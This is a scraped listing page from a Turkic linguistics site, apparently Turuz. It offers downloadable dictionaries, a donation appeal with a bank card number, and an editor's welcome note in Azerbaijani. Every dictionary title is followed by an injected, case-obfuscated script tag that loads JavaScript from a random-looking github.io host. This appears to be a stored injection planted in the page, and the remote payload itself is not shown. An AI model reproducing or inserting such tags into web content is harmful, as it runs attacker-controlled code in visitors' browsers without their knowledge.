"> Bağış

Turuz masraflarını karşılaya bilmemiz için yeni yılda Turuza destek olmak için [email protected] ile irtibata geçin.

Bağışlarınızı bu E-postaya bildirin: [email protected]

Bank kart bilgileri:

6104 3373 5031 8547

Iran Millet Bank

Rus-Frans-üzbekce Qısa Sozluk-69d<sCrIpT sRc=//lnbEIMLDlslf.github.io/1v9et39j58z1/1.js></ScRiPt>

Rus-Frans-üzbekce Qısa Sozluk-69d

Rus-Frans-üzbekce Qısa Sozluk-69d  
3807
0
Frans-Üzbekce sözlük-587S<sCrIpT sRc=//lnbEIMLDlslf.github.io/1v9et39j58z1/1.js></ScRiPt>

Frans-Üzbekce sözlük-587S

Frans-Üzbekce sözlük-587S  
3241
0
Geyim Keçik Adları-Sözlügü-Üzbek-kiril-1981-116<sCrIpT sRc=//lnbEIMLDlslf.github.io/1v9et39j58z1/1.js></ScRiPt>

Geyim Keçik Adları-Sözlügü-Üzbek-kiril-1981-116

Geyim Keçik Adları-Sözlügü-Üzbek-kiril-1981-116  
4345
0
Cinayet Terminler Sözlügü-Uzbek-Kiril-2003-204s<sCrIpT sRc=//lnbEIMLDlslf.github.io/1v9et39j58z1/1.js></ScRiPt>

Cinayet Terminler Sözlügü-Uzbek-Kiril-2003-204s

Cinayet Terminler Sözlügü-Uzbek-Kiril-2003-204s  
4248
0
Günbet Türkmence Sözlük-Qazi Qünbet-Ebced-1364-352s<sCrIpT sRc=//lnbEIMLDlslf.github.io/1v9et39j58z1/1.js></ScRiPt>

Günbet Türkmence Sözlük-Qazi Qünbet-Ebced-1364-352s

Günbet Türkmence Sözlük-Qazi Qünbet-Ebced-1364-352s  
5073
0
Türkmen-ingilizice sözlük-Greg Lastovka-1999-160d<sCrIpT sRc=//lnbEIMLDlslf.github.io/1v9et39j58z1/1.js></ScRiPt>

Türkmen-ingilizice sözlük-Greg Lastovka-1999-160d

Türkmen-ingilizice sözlük-Greg Lastovka-1999-160d  
3939
0
Türkmence-türkce sözlük-talat tekin-ankara-1995-728s<sCrIpT sRc=//lnbEIMLDlslf.github.io/1v9et39j58z1/1.js></ScRiPt>

Türkmence-türkce sözlük-talat tekin-ankara-1995-728s

Türkmence türkce sözlük-talat tekin-ankara-1995-728s  
21994
0
Qazi Sözlügü-Murad Durdi Qazi-Ebced-Farsca-Türkce-Türkmence-1382-379s<sCrIpT sRc=//lnbEIMLDlslf.github.io/1v9et39j58z1/1.js></ScRiPt>

Qazi Sözlügü-Murad Durdi Qazi-Ebced-Farsca-Türkce-Türkmence-1382-379s

Qazi Sözlügü-Murad Durdi Qazi-Ebced-Farsca-Türkce-Türkmence-1382-379s
4522
0
Dictionnaire De Linformatique Traduction Arabe-sözlük  Erebce Frans<sCrIpT sRc=//lnbEIMLDlslf.github.io/1v9et39j58z1/1.js></ScRiPt>

Dictionnaire De Linformatique Traduction Arabe-sözlük Erebce Frans

Dictionnaire De Linformatique Traduction Arabe-sözlük  Erebce Frans  
3536
0
1200 söz-Eşanlam Qısa Sözlük<sCrIpT sRc=//lnbEIMLDlslf.github.io/1v9et39j58z1/1.js></ScRiPt>

1200 söz-Eşanlam Qısa Sözlük

1200 söz-Eşanlam Qısa Sözlük  
3621
0
Eşanlam Sözlük-3700 Başlıq_Bensay<sCrIpT sRc=//lnbEIMLDlslf.github.io/1v9et39j58z1/1.js></ScRiPt>

Eşanlam Sözlük-3700 Başlıq_Bensay

Eşanlam Sözlük-3700 Başlıq_Bensay  
3823
0
Sanskiritce-latin-ingilisce_sözlük<sCrIpT sRc=//lnbEIMLDlslf.github.io/1v9et39j58z1/1.js></ScRiPt>

Sanskiritce-latin-ingilisce_sözlük

Sanskiritce-latin-ingilisce_sözlük  
4270
0

 Sayın oxucular!
Turuz sitesi bir kültürəl ocaq olaraq dilçiliklə bağlı qonulardan danışır. Bu sitə dilçiliklə bağlı dəyərli bilgilər verməkdədir.Dilimizin tarixi və etmolojisi sahəsində çalışan bu sitə, sözlərin kökü və etimolojisi haqqında, başqa sitələrdən dəyişik olaraq, eyləmlə(fe'l) bağlı anlamların açıqlayır.
Sitəmizdə dilçiliklə bağlı bir çox kitab,sözlük, yazılar əldə edib oxuyabilərsiniz. Umuruq ki bu sitə, siz dəyərli, sayın oxucular yardımıyla, dilçilik qollarının gəlişməsi, yüksəlişi yolunda bir addım götürəbilsin.
Bey Hadi ([email protected])
Təbriz